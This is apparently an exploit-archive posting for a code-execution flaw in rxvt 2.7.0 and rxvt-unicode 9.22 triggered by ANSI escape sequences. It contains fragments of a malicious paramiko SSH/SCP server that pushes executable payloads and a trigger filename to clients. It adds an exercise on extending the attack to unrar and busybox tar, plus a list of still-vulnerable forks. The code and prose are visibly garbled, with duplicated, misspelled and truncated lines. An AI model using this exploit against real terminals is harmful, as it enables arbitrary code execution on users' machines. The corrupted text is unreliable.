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rxvt 2.7.0 / rxvt-unicode 9.22 Code Execution

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rxvt version 2.7.0 and rxvt-unicode version 9.22 incorrectly handles ANSI escape sequences allowing for arbitrary code execution.

tags | exploit arbitrary code execution

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```
command = 'C0755 {} {} {} \n'.format(len(payload), fnamel).encode('ascii')
channel.sendall(command)
wait()
channel.sendall(payload)
send()
wait()
wait()
format(len(payload), fnamel).encode('ascii'))
                                   logging.info('Send file "%s" (channel %d)', fname2, channel.get_id())
command = 'C0755 {} {}\n'.format(len(payload), fname2).encode('ascii')
channel.sendall(command)
                                    wait()
channel.sendall(payload)
                                name == '_main_':
logging.info('Creating a temporary RSA host key ...')
host key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(binz)
                sock.bind(bind)
sock.listen(0)
logging.info('Listening at %s:%d ...', bind[0], bind[1])
while True:
    try:
                              try:

Light, addr = sock.accept()
Logging.info('Received connection from %s:%s', *addr)
Lougaing.info('Received connection from %s:%s', *addr)
Lougaing.info('Received connection from %s:%s', *addr)
Lougaing.info('Received Connection Connectio
    EXERCISE FOR THE READER
        Achieve code execution in `unrar x foo.rar` / `busybox tar -xvf bar.tar` with an archive containing payload(s) and a trigger file named "\e[?21\eZ\e<\eGQ".
 PS Note: Update added 2021/05/21:
  Minor clarifications and additional details for the post.
First and foremost, this vulnerability is not technically a zero-day for rxvt-unicode since the bug has been independently discovered & publicly discussed at oss-security at least in 2017:
            https://www.openwall.com/lists/oss-security/2017/05/01/20
 Upstream patched the vulnerability silently back in 2017. According to rxvt-unicode commit messages and changelog entries, the vulnerability was considered to have minor "security implications" explaining why it never was considered critical enough to backport to old Linux distros. Moreover, the first patched version is rxvt-unicode 9.25 (2021-05-14) released barely a couple of weeks ago. Therefore, most Linux distros still ship 'unpatched' rxvt-unicode 9.22 (2016-05-14), Yes, 9.23 4 9.24 version numbers do not exist because they were skipped in the upstream.
 Nonetheless the exploit remains Oday (i.e., no upstream patch available) for at least the following rxvt forks and derivatives.
    - rxvt 2.7.10 (the original rxvt terminal)
- mrxvt 0.5.4 (unmaintainen rxvt teminal with tabs)
- aterm 1.0.1 (random xvv-based terminal from Debbie "jessie" repos)
- eterm 0.9.7 (Enlightenmenth
 Finally, the vulnerability can be exploited in any context in which the attacker can plant payload scripts in a subdirectory of CWD and trigger code execution by writing (unescaped) ANSI escape sequences to stdout or stderr. Suitable target programs besides 'asp' include popular CLT tools like 'unrar' and 'busybox tar' as demonstrated in the PGCs here:
  Note that GNU tar is not exploitable due to properly escaped filenames.
```

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